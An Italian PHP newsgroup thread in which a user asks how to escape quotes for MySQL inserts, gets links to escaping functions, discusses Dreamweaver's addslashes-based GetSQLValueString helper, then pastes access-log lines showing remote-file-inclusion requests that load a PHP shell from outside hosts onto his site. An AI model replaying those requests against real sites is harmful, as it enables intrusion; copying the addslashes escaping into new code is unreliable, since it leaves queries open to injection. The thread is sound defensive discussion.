Newsgroup: it.comp.www.php
Titolo: inserimento in database, apici e altre amenita'

Chi mi rinfresca la memoria....
cosa devo sapere quando ho un form per inserire dati in una tabella di mysql?
si insomma tutte quelle cose sugli apici, doppi apici e caratteri strani che
quando li metti dentro a un campo di un form poi diventano delle cose strane
se cerchi di infilarli in un database...
ciao,
daniele

daniele wrote:

http://www.php.net/mysql_escape_string
http://www.php.net/mysql_real_escape_string
http://www.php.net/addslashes
-- 
www.iuz-lab.info


http://www.php.net/mysql_escape_string
mi e' bastata questa perfinire qua sopra 
http://it.php.net/manual/en/security.database.sql-injection.php
e ho cminciato a preoccuparmi....
non e' una cosa cosi' semplice che si risolve con 3 link :-)
ciao,
daniele

daniele wrote:

rilassati basta essere un minimo previdenti..
pensa che a smau all'esposizione del maguma studio avevano messo a
disposizione un computer con il loro editor con alcuni sorgenti del loro
sito e leggendo ho trovato diverse query esposte a sql-injection.. 
-- 
www.iuz-lab.info

sito e leggendo ho trovato diverse query esposte a sql-injection.. 
non ho l'occhio cosi' allenato per poter vedere casi del genere....
mi limitero' a sperare che addslashes faccia il suo dovere....
ciao,
daniele

rilassati basta essere un minimo previdenti..
quanto puo' essere valida questa funzione:
function GetSQLValueString
che creddo sia una di quelle che genea dreamweaver (la cito come se fosse una
funzione nota ai piu')
function GetSQLValueString($theValue, $theType, $theDefinedValue = "",
$theNotDefinedValue = "") 
{
  $theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue;
  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;    
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" :
"NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
  }
  return $theValue;
}
ciao,
daniele

 }
si dovrebbe andare bene.. ma non l'ho controllata attentamente..
cmq così risparmi qualche riga..
NON TESTATO
function GetSQLValueString($theValue, $theType, $theDefinedValue = "",
$theNotDefinedValue = "") 
{
  $theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue;
  if(trim($theValue) != '')
    switch ($theType) {
      case "text":
        $theValue = "'" . $theValue . "'";
        break;    
      case "long":
      case "int":
        $theValue = intval($theValue);
        break;
      case "double":
        $theValue = "'" . doubleval($theValue) . "'";
        break;
      case "date":
        $theValue = "'" . $theValue . "'";
        break;
      case "defined":
        $theValue = $theDefinedValue ;
        break;
    }
  else 
    $theValue = ($theType == 'defined') ? $theNotDefinedValue : NULL;
  return $theValue;
}
-- 
www.iuz-lab.info

 
148.240.117.225 - - [27/Oct/2004:06:09:13 +0000] "GET
/bug.php?file=
http://www.pkpidgeot.com/news/basic/chell.txt
 HTTP/1.1"
200 -
che carica una phpshell all'interno del mio sito :-(
da li in poi è stato tutto facile ne ho altri nei log
148.240.117.251 - - [04/Oct/2004:01:52:24 +0100] "GET
/bug.php?bug=
http://google.com
 HTTP/1.1" 200 2361
200.56.176.1 - - [04/Oct/2004:15:18:42 +0100] "GET
/index.php?file=
http://www.defacer-mx.org/remview.gif?&c=v&d=E%3A%2FInternet%2Fhttpd%2Fdata%2F&f=bug.php
HTTP/1.1" 200 10079
etc etc è anche un po di tempo che ci lavorano dietro....
qualche trucco da usare prima che mi cancellino magari delle cose dal
sitoo facciano altri danni?
daniele

 sitoo facciano altri danni?
Mhhh, pessima idea questa.
Una soluzione velocissima potrebbe essere
index.php?file=N
dove N e' un numero intero
poi fai un bel switch su (int)$_GET['file'] e carichi il file che ti 
serve e sei sicuro che non caricano quello che vogliono, al massimo 
includono un file diverso da quello che volevi tu ... ma sempre uno di 
quelli presenti nello switch.
ciao
Mauro

 Mauro
fai un controllo sul file richiesto altrimenti è normale che succedano
queste cose..
-- 
www.iuz-lab.info